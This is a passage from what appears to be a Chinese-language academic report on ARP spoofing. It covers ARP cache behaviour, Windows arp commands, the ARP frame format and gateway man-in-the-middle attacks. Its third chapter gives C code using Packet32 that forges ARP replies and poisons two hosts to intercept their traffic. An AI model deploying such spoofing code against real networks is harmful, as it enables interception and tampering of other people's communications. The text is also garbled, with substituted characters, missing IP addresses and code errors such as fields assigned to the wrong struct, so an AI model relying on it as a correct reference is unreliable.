CC,于是A發(fā)送到B上的數(shù)據(jù)包都變成發(fā)送給C的了。如此一來C能夠接收到A發(fā)送的數(shù)據(jù)楨,數(shù)據(jù)楨的截獲成功。由于ARP緩存表項(xiàng)是動(dòng)態(tài)更新的,其生命周期默認(rèn)是兩分鐘,如果再?zèng)]有新的信息更新,ARP映射項(xiàng)將會(huì)自動(dòng)去除。所以,如果要保持A上的錯(cuò)誤信息,C接下來要做的就是始終連續(xù)不斷地向A和B發(fā)送虛假的ARP響應(yīng)數(shù)據(jù)幀,讓A的ARP緩存中保持被篡改了的映射表項(xiàng)。圖2-5ARP哄騙的流程圖2-5演示了如何運(yùn)用ARP協(xié)議固有的缺陷對(duì)其進(jìn)行哄騙,但是僅僅這種哄騙并不能完成對(duì)A與B之間數(shù)據(jù)交換的竊聽與篡改,緣由是,光有其次層的哄騙是不夠的,在建立起數(shù)據(jù)連接層哄騙后,雖然A對(duì)這個(gè)變化一點(diǎn)都沒有意識(shí)到,但是接下來在進(jìn)行網(wǎng)絡(luò)層TCP/IP握手以及應(yīng)用層會(huì)話建立時(shí)由于C上并沒有能仿照B的應(yīng)用端口監(jiān)聽,所以A和C是無法建立連續(xù)連接的,通常當(dāng)TCP/IP三次握手不成功時(shí),A與C的接將斷開,C對(duì)接收到A發(fā)送給B的數(shù)據(jù)包可沒有轉(zhuǎn)交給B。這種攻擊最多也就造成A與B之間連接中斷,無法造成更大危害.本章介紹數(shù)據(jù)鏈接層協(xié)議中ARP協(xié)議的先天缺陷,也是整個(gè)ARP哄騙攻擊的突破口。2.5ARP表的操作方法2。4中指出了ARP哄騙的突破點(diǎn)-ARP協(xié)議缺陷,可見對(duì)計(jì)算機(jī)內(nèi)部ARP緩存表的修改是ARP哄騙的關(guān)鍵所在.在大多數(shù)的TCP/IP實(shí)現(xiàn)中,ARP是一個(gè)基礎(chǔ)協(xié)議,但是它的運(yùn)行對(duì)于應(yīng)用程序或系統(tǒng)管理員來說一般是透明的。ARP高速緩存在它的運(yùn)行過程中格外關(guān)鍵,系統(tǒng)管理員可以用ARP命令對(duì)高速緩存進(jìn)行檢查和操作。高速緩存中的每一項(xiàng)內(nèi)容都有一個(gè)定時(shí)器,依據(jù)它來刪除不完整和完整的表項(xiàng).ARP命令可以顯示和修改ARP高速緩存中的內(nèi)容。下面說明操作系統(tǒng)中對(duì)ARP緩存表的基本操作方法.(1)ARP命令的使用:進(jìn)行ARP哄騙攻防的基本操作是使用Windows的命令A(yù)RP來實(shí)現(xiàn)IP地址和MAC地址的映射與綁定.比如在WindowsXP的命令提示符窗口中鍵入“arp-a”或“arp—g"可以查看ARP緩存中的內(nèi)容;鍵入“arp—dIPaddress”表示刪除指定的IP地址項(xiàng)(IPaddress表示IP地址).arp命令的其他用法可以鍵入“arp/?”查看到。(2)ARP命令其他參數(shù)的功能:超級(jí)用戶可以用選項(xiàng)-d來刪除ARP高速緩存中的某一項(xiàng)內(nèi)容。另外,可以通過選項(xiàng)-s來增加高速緩存中的內(nèi)容。這個(gè)參數(shù)需要主機(jī)名和以太網(wǎng)地址:對(duì)應(yīng)于主機(jī)名的IP地址和以太網(wǎng)地址被增加到高速緩存中。新增加的內(nèi)容是永久性的(比如,它沒有超時(shí)值),除非在命令行的末尾附上關(guān)鍵字temp.位于命令行末尾的關(guān)鍵字pub和—s選項(xiàng)一起,可以使系統(tǒng)起著主機(jī)ARP代理的作用.系統(tǒng)將回答與主機(jī)名對(duì)應(yīng)的IP地址的ARP懇求,并以指定的以太網(wǎng)地址作為應(yīng)答.如果廣播的地址是系統(tǒng)本身,那么系統(tǒng)就為指定的主機(jī)名起著委托ARP代理的作用。(3)特殊類別ARP的操作:委托ARP(當(dāng)路由器對(duì)來自于另一個(gè)路由器接口的ARP懇求進(jìn)行應(yīng)答時(shí))和免費(fèi)ARP(發(fā)送自己IP地址的ARP懇求,一般發(fā)生在引導(dǎo)過程中).微軟的ISAServer中沒有供應(yīng)對(duì)于MAC地址的掌握功能,這是由于MAC地址只能在本地網(wǎng)絡(luò)中使用,當(dāng)數(shù)據(jù)包跨越路由器時(shí),數(shù)據(jù)包中主機(jī)的源MAC地址就會(huì)被路由器的出站接口的MAC地址所代替,這個(gè)時(shí)候,使用MAC地址來進(jìn)行掌握就不適用了。所以只要是企業(yè)級(jí)的硬件或者軟件防火墻,都基本沒有供應(yīng)對(duì)MAC地址的掌握功能。不過在Windows中,如果安裝了TCP/IP網(wǎng)絡(luò)協(xié)議組件,就可以執(zhí)行命令A(yù)RP。ARP命令的作用是查看本機(jī)的ARP緩存、靜態(tài)綁定IP地址和MAC地址和刪除靜態(tài)綁定項(xiàng)。其實(shí)綁定IP地址和MAC地址的本意是為了削減ARP廣播流量,只是可以利用這一功能來掌握IP地址的使用。(4)不同操作系統(tǒng)中ARP設(shè)置的差異:在Windowsserver2003和XP以前的WINDOWS系統(tǒng)中,就算設(shè)置了靜態(tài)MAC地址綁定項(xiàng),同樣會(huì)通過接收其他主機(jī)的數(shù)據(jù)包而更新已經(jīng)綁定的項(xiàng).而在Windowsserver2003和XP中,靜態(tài)綁定的項(xiàng)不會(huì)被動(dòng)態(tài)更新,直到TCP/IP協(xié)議終止為止,例如重啟計(jì)算機(jī).如果要?jiǎng)?chuàng)建永久的靜態(tài)MAC地址綁定項(xiàng),可以寫一個(gè)腳本文件來執(zhí)行ARP靜態(tài)綁定,然后使用計(jì)劃任務(wù)在啟動(dòng)計(jì)算機(jī)時(shí)執(zhí)行該腳本即可。(5)ARP高速緩存超時(shí)設(shè)置:在ARP高速緩存中的表項(xiàng)一般都要設(shè)置超時(shí)值.默認(rèn)情況下ARP緩存的超時(shí)時(shí)限是兩分鐘,如果再?zèng)]有新的信息更新,ARP映射項(xiàng)會(huì)自動(dòng)去除。所以,為了保持A與C被修改的ARP表,B始終連續(xù)不斷地向A和C發(fā)送這種虛假的ARP響應(yīng)包。可以在注冊(cè)表中進(jìn)行修改.可以修改的鍵值有兩個(gè),都位于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesTcpip\Parameters。鍵值1:ArpCacheLife,類型為Dword,單位為秒,默認(rèn)值為120。鍵值2:ArpCacheMinReferencedLife,類型為Dword,單位為秒,默認(rèn)值為600這些鍵值默認(rèn)是不存在的,如果想修改,必須自行創(chuàng)建。修改后重啟計(jì)算機(jī)后生效。如果ArpCacheLife的值比ArpCacheMinReferencedLife的值大,那么ARP緩存的超時(shí)時(shí)間設(shè)置為ArpCacheLife的值。如果ArpCacheLife的值不存在或者比ArpCacheMinReferencedLife的值小,那么超時(shí)時(shí)間設(shè)置為120秒.對(duì)于正在使用的ARP緩存,超時(shí)時(shí)間則設(shè)置為ArpCacheMinReferencedLife的值。2。6ARP偽造幀格式在ARP攻擊中,黑客是運(yùn)用ARP協(xié)議缺陷更改ARP緩存表的。要發(fā)動(dòng)ARP哄騙攻擊需要獲得ARP懇求與應(yīng)答幀的格式。ARP幀使用是工作在數(shù)據(jù)鏈接層的協(xié)議,它也可以用于其他類型的網(wǎng)絡(luò)以解析IP地址以外的地址(報(bào)文第13、14兩字節(jié)的“幀類型"以及15、16字節(jié)“硬件類型"以及17、18字節(jié)“協(xié)議類型"說明白解析的是什么網(wǎng)絡(luò))。對(duì)于ARP攻擊我們僅討論在以太網(wǎng)地址解析時(shí)的格式.ARP懇求和應(yīng)答幀的格式如圖2-7所示:圖2-7ARP數(shù)據(jù)幀格式(1)如圖2-7所示,以太網(wǎng)報(bào)頭中的前兩個(gè)字段是以太網(wǎng)的源地址和目的地址.在以太網(wǎng)首部最后兩個(gè)字節(jié)長的以太網(wǎng)“幀類型”表示后面數(shù)據(jù)的類型。在表示ARP懇求或應(yīng)答時(shí)該字段被設(shè)置成“0x0806".(2)頭部后面的2字節(jié)的“硬件類型”和兩字節(jié)的“協(xié)議類型”用來描述ARP分組中的各個(gè)字段。在以太網(wǎng)的解析中,一個(gè)ARP懇求分組詢問“協(xié)議類型”填寫IP(0x0800即表示IP),硬件類型填寫以太網(wǎng)(值為1即表示以太網(wǎng)).這些類型字段的值在以太網(wǎng)數(shù)據(jù)幀中是固定的。(3)第19與20字段的兩個(gè)1字節(jié)的字段,“硬件地址長度”和“協(xié)議地址長度"分別指出硬件地址和協(xié)議地址的長度。當(dāng)用于在以太網(wǎng)上進(jìn)行IP地址的ARP查詢時(shí),“硬件地址長度"的值為6,“協(xié)議地址長度"為4。注意:此處是以字節(jié)為單位。(4)接下來的OP為“操作字段”,可以選擇四種操作類型,分別是ARP懇求(值為1)、ARP應(yīng)答(值為2)、RARP懇求(值為3)和RARP應(yīng)答(值為4)。由于在ARP懇求和ARP應(yīng)答時(shí)的“幀類型”字段值相同(都為0x0806),所以需要從這個(gè)字段來區(qū)分是懇求還是應(yīng)答。(5)報(bào)文最后的四個(gè)字段將重復(fù)消滅發(fā)送與接受端的硬件地址(在以太網(wǎng)的數(shù)據(jù)幀報(bào)頭中消滅過)。最后四個(gè)字段分別是:發(fā)送源以太網(wǎng)地址、目的地以太網(wǎng)地址、發(fā)送源IP地址以及目的地IP地址.(6)另外,由于ARP懇求或回答的數(shù)據(jù)幀長都是42字節(jié)(28字節(jié)的ARP數(shù)據(jù)加上14字節(jié)的以太網(wǎng)幀頭),因此,每一幀都必須加入填充字符以達(dá)到以太網(wǎng)數(shù)據(jù)幀60字節(jié)的最小長度要求。表2-2ARP幀機(jī)構(gòu)實(shí)驗(yàn)的IP—MAC地址對(duì)比關(guān)系(1)假設(shè)在表2—2網(wǎng)絡(luò)環(huán)境中:A主機(jī)的IP地址為,它現(xiàn)在需要與IP為192.168。1。2的主機(jī)(主機(jī)B)進(jìn)行通訊,那么將進(jìn)行以下動(dòng)作:(2)A主機(jī)查詢自己的ARP緩存列表,如果發(fā)現(xiàn)具有對(duì)應(yīng)于目的IP地址192.168。1。2的MAC地址項(xiàng),則直接使用此MAC地址項(xiàng)構(gòu)造并發(fā)送以太網(wǎng)數(shù)據(jù)包,如果沒有發(fā)現(xiàn)對(duì)應(yīng)的MAC地址項(xiàng)則連續(xù)下一步;(3)在A主機(jī)發(fā)出ARP解析懇求廣播的過程中,A會(huì)發(fā)出一個(gè)目的MAC地址是FF:FF:FF:FF:FF:FF的ARP懇求幀,來懇求IP為的主機(jī)回復(fù)MAC地址;圖2-8ARP懇求數(shù)據(jù)幀格式(4)B主機(jī)收到ARP解析懇求廣播后,回復(fù)給A主機(jī)一個(gè)ARP應(yīng)答數(shù)據(jù)包,其中包含自己的IP地址192.168.1。2和MAC地址bb-bb—bb-bb-bb—bb;圖2—9ARP回復(fù)數(shù)據(jù)幀格式(5)A接收到B主機(jī)的ARP回復(fù)后,將B主機(jī)的MAC地址放入自己的ARP緩存列表,然后使用B主機(jī)的MAC地址作為目的MAC地址,B主機(jī)的IP地址(192.168。1.2)作為目的IP地址,構(gòu)造并發(fā)送以太網(wǎng)數(shù)據(jù)包.(6)如果A主機(jī)還要發(fā)送數(shù)據(jù)包給192。168.1.2,由于在ARP緩存列表中已經(jīng)具有IP地址192。168。1。2的MAC地址,所以A主機(jī)直接使用此MAC地址發(fā)送數(shù)據(jù)包,而不再發(fā)送ARP解析懇求廣播;當(dāng)此緩存地址項(xiàng)超過兩分鐘沒有活動(dòng)(沒有使用)后,此ARP緩存將超時(shí)被刪除。以上是正常情況下ARP查詢與回復(fù)的數(shù)據(jù)幀結(jié)構(gòu),如果使用ARP哄騙,從C發(fā)送偽造的ARP數(shù)據(jù)包,則當(dāng)C收到一份目的端為B的ARP懇求廣播報(bào)文后,C會(huì)把自己的硬件地址填進(jìn)去,然后將目的端的MAC與IP地址寫成發(fā)送源A的物理與規(guī)律地址,源MAC地址偽裝成自己的地址,源IP地址填寫B(tài)的IP。最后把操作字段置為2,發(fā)回?cái)?shù)據(jù)幀。偽裝的數(shù)據(jù)幀結(jié)構(gòu)如圖2-10示.圖2—10ARP哄騙數(shù)據(jù)幀格式2.7網(wǎng)關(guān)出口上的ARP哄騙在公眾上網(wǎng)環(huán)境的實(shí)際運(yùn)行中,最大的威脅就是服務(wù)器在網(wǎng)關(guān)出口處被加入中間層哄騙服務(wù)器“man-in-the—middle”。利用上文所說的ARP哄騙報(bào)文以及ARP代理中存在的缺陷,可以在服務(wù)器和網(wǎng)關(guān)之間插入一個(gè)“偽造的網(wǎng)關(guān)”,在上面進(jìn)行數(shù)據(jù)的重定向與篡改操作.目前,一般的交換網(wǎng)絡(luò)對(duì)探測進(jìn)行了限制,目的是限制探測的深化程度,讓他被隔絕在局域網(wǎng)內(nèi)部。但是,只要主機(jī)以及交換設(shè)備中的ARP緩存表仍然是動(dòng)態(tài)的,利用ARP協(xié)議漏洞,仍然可以形成“man-in-the-middle”攻擊方式。圖2-14網(wǎng)關(guān)類ARP哄騙如圖2-14示,主機(jī)C同時(shí)向主機(jī)A與網(wǎng)關(guān)B發(fā)出ARP應(yīng)答數(shù)據(jù)包,之后主機(jī)A的緩存表中網(wǎng)關(guān)的MAC地址變成CCCCCCCCCCCC。所以當(dāng)A要發(fā)出數(shù)據(jù)包時(shí),他會(huì)將數(shù)據(jù)發(fā)往主機(jī)C,C又將數(shù)據(jù)包轉(zhuǎn)發(fā)給網(wǎng)關(guān)B,由B轉(zhuǎn)發(fā)到目的地網(wǎng)絡(luò)。所以此時(shí)C相當(dāng)與A的網(wǎng)關(guān),插入A與B的路由之間,所以此時(shí)C能夠收取A與公網(wǎng)之間的全部數(shù)據(jù)并可進(jìn)行篡改.此時(shí),相當(dāng)于網(wǎng)絡(luò)中的路由設(shè)備被黑客攻占了。第3章ARP哄騙攻擊的實(shí)現(xiàn)3.1構(gòu)造ARP哄騙幀在知道了ARP哄騙攻擊的原理以及ARP數(shù)據(jù)懇求與響應(yīng)幀格式后,接下來就是討論如何通過編程實(shí)現(xiàn)ARP攻擊黑客工具。在ARP攻擊程序編寫中,使用Parcket32開發(fā)包編寫程序?qū)崿F(xiàn)攻擊。假設(shè)使用windows2000/XP系統(tǒng),則在ARP協(xié)議并不只在發(fā)送了ARP懇求才接收ARP應(yīng)答。當(dāng)計(jì)算機(jī)接收到ARP應(yīng)答數(shù)據(jù)包的時(shí)候,就會(huì)立即對(duì)本地的ARP緩存進(jìn)行更新,將應(yīng)答中的IP和MAC地址存儲(chǔ)在ARP緩存中。因此,在表2-2示例的網(wǎng)絡(luò)環(huán)境中,C向A發(fā)送一個(gè)自己偽造的ARP應(yīng)答,而這個(gè)應(yīng)答中的數(shù)據(jù)為發(fā)送方IP地址是192。168.1。2(B的IP地址),MAC地址是CC—CC-CC-CC—CC-CC(B的MAC地址原來應(yīng)該是BB—BB-BB-BB—BB—BB,這里被用C的MAC地址偽造了)。當(dāng)A接收到C偽造的ARP應(yīng)答后,由于A并不知道地址是被C偽造的,就會(huì)更新自己的ARP緩存.現(xiàn)在192。168。1.2的MAC地址在A上被轉(zhuǎn)變成了攻擊源C的MAC地址。以下來討論如何使用編程實(shí)現(xiàn)這樣的ARP哄騙。編寫哄騙程序的主要思路是:首先,構(gòu)造一個(gè)ARP數(shù)據(jù)包,其中包含目標(biāo)主機(jī)的IP地址與哄騙主機(jī)的MAC地址;然后,將這個(gè)arp數(shù)據(jù)包利用底層API驅(qū)動(dòng)發(fā)送到A機(jī)器,致使A修改自己的緩存。ARP報(bào)文使用是工作在數(shù)據(jù)鏈接層的協(xié)議,所以可以用于其他類型的網(wǎng)絡(luò)以解析IP地址以外的地址(報(bào)文第13、14兩字節(jié)的“幀類型"以及15、16字節(jié)“硬件類型”以及17、18字節(jié)“協(xié)議類型”說明白解析的是什么網(wǎng)絡(luò)).在以太網(wǎng)上解析IP地址時(shí),ARP懇求和應(yīng)答分組的格式如圖2—8所示,以太網(wǎng)報(bào)頭中的前兩個(gè)字段是以太網(wǎng)的源地址和目的地址。在以太網(wǎng)首部最后兩個(gè)字節(jié)長的以太網(wǎng)“幀類型"表示后面數(shù)據(jù)的類型。在表示ARP懇求或應(yīng)答時(shí)該字段被設(shè)置成“0x0806”。頭部后面的2字節(jié)的“硬件類型”和兩字節(jié)的“協(xié)議類型”用來描述ARP分組中的各個(gè)字段.在以太網(wǎng)的解析中,一個(gè)ARP懇求分組詢問“協(xié)議類型”填寫IP(0x0800即表示IP),硬件類型填寫以太網(wǎng)(值為1即表示以太網(wǎng))。這些類型字段的值在以太網(wǎng)數(shù)據(jù)幀中是固定的.第19與20字段的兩個(gè)1字節(jié)的字段,“硬件地址長度”和“協(xié)議地址長度"分別指出硬件地址和協(xié)議地址的長度.當(dāng)用于在以太網(wǎng)上進(jìn)行IP地址的ARP查詢時(shí),“硬件地址長度”的值為6,“協(xié)議地址長度”為4.注意:此處是以字節(jié)為單位。接下來的OP為“操作字段",可以選擇四種操作類型,分別是ARP懇求(值為1)、ARP應(yīng)答(值為2)、RARP懇求(值為3)和RARP應(yīng)答(值為4)。由于在ARP懇求和ARP應(yīng)答時(shí)的“幀類型”字段值相同(都為0x0806),所以需要從這個(gè)字段來區(qū)分是懇求還是應(yīng)答。報(bào)文最后的四個(gè)字段將重復(fù)消滅發(fā)送與接受端的硬件地址(在以太網(wǎng)的數(shù)據(jù)幀報(bào)頭中消滅過)。最后四個(gè)字段分別是:發(fā)送源以太網(wǎng)地址、目的地以太網(wǎng)地址、發(fā)送源IP地址以及目的地IP地址。另外,由于ARP懇求或回答的數(shù)據(jù)幀長都是42字節(jié)(28字節(jié)的ARP數(shù)據(jù)加上14字節(jié)的以太網(wǎng)幀頭),因此,每一幀都必須加入填充字符以達(dá)到以太網(wǎng)數(shù)據(jù)幀60字節(jié)的最小長度要求.在表2—2示例的網(wǎng)絡(luò)環(huán)境中,當(dāng)主機(jī)A在自己的緩存中找不到B的MAC地址而需要進(jìn)行詢問時(shí).A發(fā)送了一個(gè)ARP詢問報(bào)文,在這個(gè)報(bào)文中,目的地址為全1(FF-FF-FF-FF-FF-FF)的特殊廣播地址.廣播域內(nèi)鏈接的全部以太卡網(wǎng)都會(huì)接收廣播的數(shù)據(jù)幀。廣播報(bào)文結(jié)構(gòu)如圖3—1所示:圖3-1ARP廣播幀構(gòu)造對(duì)于一個(gè)ARP懇求來說,除目的端硬件地址外的全部其他的字段都有填充值。當(dāng)系統(tǒng)收到一份目的端為本機(jī)的ARP懇求報(bào)文后,它就把硬件地址填進(jìn)去,然后用兩個(gè)目的端地址分別替換兩個(gè)發(fā)送端地址,并把操作字段置為2,最后把它發(fā)送回去。所以,我們要進(jìn)行ARP哄騙所需要構(gòu)造的偽裝應(yīng)答報(bào)文如下所示:圖3—2ARP哄騙幀構(gòu)造構(gòu)造報(bào)文的結(jié)構(gòu)代碼可以這樣寫:(1)首先我們定義“14字節(jié)的以太網(wǎng)頭部”結(jié)構(gòu)ETHHDR1:typedefstructethhdr1(/*定義“14字節(jié)的以太網(wǎng)頭部"*/unsignedchareh_dst[6];/*目標(biāo)以太網(wǎng)地址6字節(jié)*/unsignedchareh_src[6];/*源以太網(wǎng)地址6字節(jié)*/unsignedshorteh_type;)/*幀類型2字節(jié)*/ETHHDR1,*PETHHDR1;(2)定義“28字節(jié)的ARP懇求或應(yīng)答”的結(jié)構(gòu):typedefstructarphdr1/*定義“28字節(jié)的ARP懇求或應(yīng)答”*/{unsignedshortarp_hrd;/*幀類型2字節(jié)*/unsignedshortarp_pro;/*協(xié)議類型2字節(jié)*/unsignedchararp_hln;/*硬件地址(MAC)長度1字節(jié)*/unsignedchararp_pln;/*協(xié)議地址(IP)長度1字節(jié)*/unsignedshortarp_op;/*op操作類型2字節(jié)*/unsignedchararp_sha[6];/*源以太網(wǎng)地址6字節(jié)*/unsignedlongarp_spa;/*源IP網(wǎng)地址4字節(jié)*/unsignedchararp_tha[6];/*目標(biāo)以太網(wǎng)地址6字節(jié)*/unsignedlongarp_tpa;/*目標(biāo)以IP地址4字節(jié)*/}ARPHDR1,*PARPHDR1;(3)接下來,將構(gòu)造好的前14字節(jié)與后28字節(jié)連在一起,成為ARP報(bào)文:typedefstructarpPacket1/*構(gòu)造42字節(jié)ARP報(bào)文arpPacket1結(jié)構(gòu)*/{ETHHDR1ethhdr1;/*“14字節(jié)的以太網(wǎng)頭部"結(jié)構(gòu)*/ARPHDR1arphdr1;/*“28字節(jié)的ARP懇求或應(yīng)答"結(jié)構(gòu)*/}ARPPACKET1,*PARPPACKET1;(4)定義數(shù)據(jù)報(bào)文中的常量#defineT_IP0x0800/*常量IP協(xié)議表示IP的類型值*/#defineT_ARP0x0806/*常量ARP表示ARP的類型值*/#defineH_ARP0x0001/*值為1即表示以太網(wǎng)硬件類型*/#defineOP_ARPR0x0001/*OP操作類型1表示ARP懇求*/#defineOP_ARPB0x0002/*OP操作類型2表示ARP應(yīng)答*/(5)當(dāng)報(bào)文結(jié)構(gòu)定義好后,需要定義一個(gè)報(bào)文并把數(shù)據(jù)填入:ARPPACKET1ARPPacket1;/*定義一個(gè)數(shù)據(jù)報(bào)文結(jié)構(gòu)ARPPacket1*/ToMacAddr("AAAAAAAAAAAA”,MacAddr))/*將字符串AAAAAAAAAAAA轉(zhuǎn)化成MAC地址*/memcpy(ARPPacket1.e1hhdr1.eh_dst,MacAddr,6);/*定義目的MAC地址AAAAAAAAAAAA*/ToMacAddr("CCCCCCCCCCCC",MacAddr)/*將字符串CCCCCCCCCCCC轉(zhuǎn)化成MAC地址*/memcpy(ARPPacket1.ethhdr1。eh_src,MacAddr,6);/*定義源MAC地址CCCCCCCCCCCC*/ARPPacket1.ethhdr1.eh_type=htons(T_ARP);/*常量ARP表示ARP的類型值*/ARPPacket1。ethhdr1.arp_hrd=htons(H_ARP);/*值為1即表示以太網(wǎng)硬件類型*/ARPPacket1。ethhdr1.arp_pro=htons(T_IP);/*常量IP協(xié)議表示IP的類型值*/ARPPacket1.ethhdr1。arp_hln=6;/*MAC地址長度為6字節(jié)*/ARPPacket1。ethhdr1.arp_pln=4;/*IP地址長度為4字節(jié)*/ARPPacket1。ethhdr1。arp_op=htons(OP_ARPB);/*OP操作類型2表示ARP應(yīng)答*/ToMacAddr("CCCCCCCCCCCC",MacAddr));memcpy(ARPPacket1。arphdr1。arp_sha,MacAddr,6);//偽造的B的MAC地址ARPPacket1。arphdr1。arp_spa=inet_addr(”192。168。1.2”);//B的IP地址ToMacAddr(”AAAAAAAAAAAA”,MacAddr))memcpy(ARPPacket1。arphdr1.arp_tha,MacAddr,6);//目標(biāo)A的MAC地址ARPPacket1.arphdr1。arp_tpa=inet_addr(”192。168。1。1");//目標(biāo)A的IP地址3。2發(fā)送ARP哄騙幀在3。1中已經(jīng)構(gòu)造了偽裝的ARP回復(fù)報(bào)文ARPPacket1,接下來需要將數(shù)據(jù)包發(fā)送到局域網(wǎng)內(nèi)主機(jī)A上。在此我們使用開發(fā)包Packet32中供應(yīng)的API函數(shù)組.Packet32是聞名的網(wǎng)卡數(shù)據(jù)讀寫開發(fā)包,他有眾多版本,在這里使用的是最常用的微軟PACKET32。h?,F(xiàn)在聞名的網(wǎng)絡(luò)監(jiān)聽程序如ntsniff、EthernetSpy、ntpacket、WinPcap等都使用Packet32開發(fā)。應(yīng)用程序通過Packet32下PacketSendPacket等函數(shù)可以直接操作網(wǎng)卡,設(shè)置網(wǎng)卡的工作模式,直接在網(wǎng)卡上讀寫數(shù)據(jù)。Packet32包中的有如下一些功能函數(shù):(1)PacketGetAdapterNames:從注冊(cè)表中讀取網(wǎng)卡名(2)PacketOpenAdapter:打開網(wǎng)卡(3)PacketSetHwFilter:設(shè)置過濾器(4)PacketSetBuff:設(shè)置緩沖區(qū)的大小(5)PacketSetReadTimeout:設(shè)置讀操作的超時(shí)時(shí)間(6)PacketAllocatePacket:為_PACKET結(jié)構(gòu)安排內(nèi)存(7)PacketInitPacket:初始化_PACKET結(jié)構(gòu),將packet結(jié)構(gòu)中的buffer設(shè)置為傳遞的buffer指針.(8)PacketReceivePacket:讀取數(shù)據(jù),從NPFdriver上讀取數(shù)據(jù)Packets或者統(tǒng)計(jì)信息。(9)PacketGetStats:得到本次捕獲的統(tǒng)計(jì)數(shù)據(jù)(10)PacketSentPacket:發(fā)送數(shù)據(jù).以下是發(fā)送數(shù)據(jù)包的過程代碼:(1)首先需要引用Packet32頭文件#include<Packet32。h〉(2)獵取網(wǎng)卡硬件列表f(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unabletoretrievethelistoftheadapters!\n”);return0;(3)取第一個(gè)網(wǎng)卡lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]);if(!lpAdapter||(lpAdapter—〉hFile==INVALID_HANDLE_VALUE)){nRetCode=GetLastError();printf(”Unabletoopenthedriver,ErrorCode:%lx\n”,nRetCode);return0;}lpPacket=PacketAllocatePacket();if(lpPacket==NULL){printf(”\nError:failedtoallocatetheLPPACKETstructure?!保?return0;}(4)將3。1中定義好的數(shù)據(jù)幀寫到內(nèi)存中memcpy(szPacketBuf,(char*)&ARPPacket,sizeof(ARPPacket));(5)初試化數(shù)據(jù)包PacketInitPacket(lpPacket,szPacketBuf,60);if(PacketSetNumWrites(lpAdapter,2)==FALSE){printf("warning:Unabletosendmorethanonepacketinasinglewrite!\n”);}(6)發(fā)送我們構(gòu)造的偽造ARP數(shù)據(jù)包if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf(”Sendok!\n”);(7)關(guān)閉網(wǎng)卡PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);以上程序使A接收到一個(gè)被偽造的ARP應(yīng)答,對(duì)目標(biāo)A進(jìn)行哄騙。A發(fā)送數(shù)據(jù)到主機(jī)B卻發(fā)送到了CC—CC—CC—CC—CC—CC這個(gè)地址上。這種效果正是前文所描述的,ARP哄騙成功。但是,完整的ARP哄騙需要進(jìn)一步做數(shù)據(jù)的轉(zhuǎn)發(fā),由于A雖然對(duì)錯(cuò)誤的緩存不能辨別,但是接下來的數(shù)據(jù)交換中,A與B之間就會(huì)由于數(shù)據(jù)無法匹配而終止通信。由于A發(fā)往B的數(shù)據(jù)轉(zhuǎn)發(fā)到了C,所以A在一段時(shí)間內(nèi)無法得到來自B的合法回復(fù)后,將意識(shí)到通訊存在問題。因此,接下來需要C來做“Man—In—The—Middle”重定向。3。3同時(shí)發(fā)向兩臺(tái)機(jī)器的“Man-In—The-Middle”做“Man-In-The-Middle”,進(jìn)行ARP重定向。首先需要使C同時(shí)發(fā)兩個(gè)應(yīng)答幀到通信的雙方A與B。這樣C將成為A與B之間的ARP代理,相當(dāng)與C是AB間的路由器.(1)同時(shí)構(gòu)造兩個(gè)ARP應(yīng)答幀(應(yīng)答幀中常量定義不再重述)。ARPPACKET1ARPPacket1;//定義一個(gè)數(shù)據(jù)報(bào)文結(jié)構(gòu)ToMacAddr("AAAAAAAAAAAA",MacAddr))//將字符串AAAAAAAAAAAA轉(zhuǎn)化成MAC地址memcpy(ARPPacket1.e1hhdr1.eh_dst,MacAddr,6);//定義目的MAC地址AAAAAAAAAAAAToMacAddr(”CCCCCCCCCCCC”,MacAddr)//將字符串CCCCCCCCCCCC轉(zhuǎn)化成MAC地址memcpy(ARPPacket1.ethhdr1.eh_src,MacAddr,6);//定義源MAC地址CCCCCCCCCCCCToMacAddr("CCCCCCCCCCCC”,MacAddr));memcpy(ARPPacket1。arphdr1。arp_sha,MacAddr,6);//偽造的B的MAC地址ARPPacket1。arphdr1。arp_spa=inet_addr("192.168。1.2");//B的IP地址ToMacAddr(”AAAAAAAAAAAA",MacAddr))memcpy(ARPPacket1.arphdr1。arp_tha,MacAddr,6);//目標(biāo)A的MAC地址ARPPacket1.arphdr1。arp_tpa=inet_addr(”");//目標(biāo)A的IP地址ARPPACKET1ARPPacket2;//定義一個(gè)數(shù)據(jù)報(bào)文結(jié)構(gòu)ARPPacket2ToMacAddr("AAAAAAAAAAAA”,MacAddr))//將字符串BBBBBBBBBBBB轉(zhuǎn)化成MAC地址memcpy(ARPPacket2。e1hhdr1。eh_dst,MacAddr,6);//定義目的MAC地址AAAAAAAAAAAAToMacAddr(”CCCCCCCCCCCC”,MacAddr)/*將字符串CCCCCCCCCCCC轉(zhuǎn)化成MAC地址*/memcpy(ARPPacket2。ethhdr1。eh_src,MacAddr,6);/*定義源MAC地址CCCCCCCCCCCC*/ToMacAddr(”CCCCCCCCCCCC”,MacAddr));memcpy(ARPPacket2.arphdr1。arp_sha,MacAddr,6);//偽造的A的MAC地址ARPPacket1。arphdr1.arp_spa=inet_addr("192。168。1.1”);//A的IP地址ToMacAddr("AAAAAAAAAAAA",MacAddr))memcpy(ARPPacket2.arphdr1。arp_tha,MacAddr,6);//目標(biāo)B的MAC地址ARPPacket2.arphdr1.arp_tpa=inet_addr(”192。168.1。2");//目標(biāo)B的IP地址(2)將這兩個(gè)哄騙包同時(shí)發(fā)往A、B,構(gòu)造“man-in—the-middle”(網(wǎng)卡初始化部分不再重述)。if(PacketSendPacket(lpAdapter,lpPacket1,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf("SendtoAok!\n”);if(PacketSendPacket(lpAdapter,lpPacket2,TRUE)==FALSE){printf("Errorsendingthepackets!\n”);return0;}printf("SendtoBok!\n");PacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);3.4IP數(shù)據(jù)包的轉(zhuǎn)發(fā)IP轉(zhuǎn)發(fā)功能,A發(fā)送過來的數(shù)據(jù)包,轉(zhuǎn)發(fā)給C,好比一個(gè)路由器一樣。不過,假如B發(fā)送ICMP重定向的話就中斷了整個(gè)計(jì)劃.直接進(jìn)行整個(gè)包的修改轉(zhuǎn)發(fā),捕獲到A發(fā)送給的數(shù)據(jù)包,全部進(jìn)行修改后再轉(zhuǎn)發(fā)給C,而C接收到的數(s